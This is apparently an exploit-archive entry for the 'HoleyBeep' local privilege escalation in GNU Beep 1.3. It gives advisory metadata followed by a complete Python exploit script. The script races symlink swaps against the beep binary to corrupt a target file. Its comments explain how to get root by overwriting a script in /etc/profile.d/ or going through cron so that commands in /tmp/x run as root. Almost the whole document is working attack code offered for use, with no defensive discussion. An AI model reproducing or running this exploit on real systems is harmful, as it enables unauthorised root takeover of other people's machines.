GNU Beep 1.3 HoleyBeep Local Privilege Escalation

2018.04.13
Credit: Pirhack
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

#!/usr/bin/env python3 # # This is an exploit for HoleyBeep. # # To use it, place any command you want root to execute in `/tmp/x`. # ``` # $ cat /tmp/x # echo PWNED $(whoami) # ``` # The exploit takes a path to write to (the file must already exist) and rewrites its first bytes to /*/x. This means that if it's a shell script, it will execute /tmp/x as its first and only command. # # To gain root access, the idea is to use the exploit to overwrite any file in /etc/profile.d/ so it will execute /*/x on the next login, possibly as the root user. # # Variants are possible using cron instead of the shell, so you don't have to wait until root logs in. # import argparse import shutil import os import subprocess import time import signal import ntpath TMP_PATH="beep_exploit" def backup_output(path): backup_path = ntpath.basename(path + ".bak") if os.path.isfile(path): shutil.copy(path, backup_path) print('Backup made at \'{}\''.format(backup_path)) def main(): parser = argparse.ArgumentParser(description='Holey beep exploit script.') parser.add_argument('output', metavar='OUTPUT', help='the output file to corrupt') parser.add_argument('--path', default="/usr/bin/beep", help='path to beep') parser.add_argument('--time-low', default=6000, type=int, help='time to wait (micro-seconds), lower bound') parser.add_argument('--time-high', default=6900, type=int, help='time to wait (micro-seconds), higher bound') parser.add_argument('--no-backup', action='store_true', help='doesn\'t backup the output file') args = parser.parse_args() if not args.no_backup: backup_output(args.output) devnull = open("/dev/null") timer = args.time_low while True: # Create original symlink try: os.remove(TMP_PATH) except OSError: pass os.symlink("/dev/input/event0", TMP_PATH) # Open subprocess p = subprocess.Popen([args.path, "--device", TMP_PATH, "-l", "1", "-n", "-l", "2016356911"], stderr=devnull) time.sleep(timer/2 / 1000000.0) # Replace symlink try: os.remove(TMP_PATH) except OSError: pass os.symlink(args.output, TMP_PATH) time.sleep(timer/2 / 1000000.0) # Trigger SIGINT os.kill(p.pid, signal.SIGINT) # Kill process if it's sill alive time.sleep(200.0 / 1000000.0) os.kill(p.pid, signal.SIGKILL) # Verify result with open(args.output, 'rb') as f: data = f.read(4) if data == b'/*/x': print("Done!") break timer += 1 if timer > args.time_high: timer = args.time_low if __name__ == '__main__': main()


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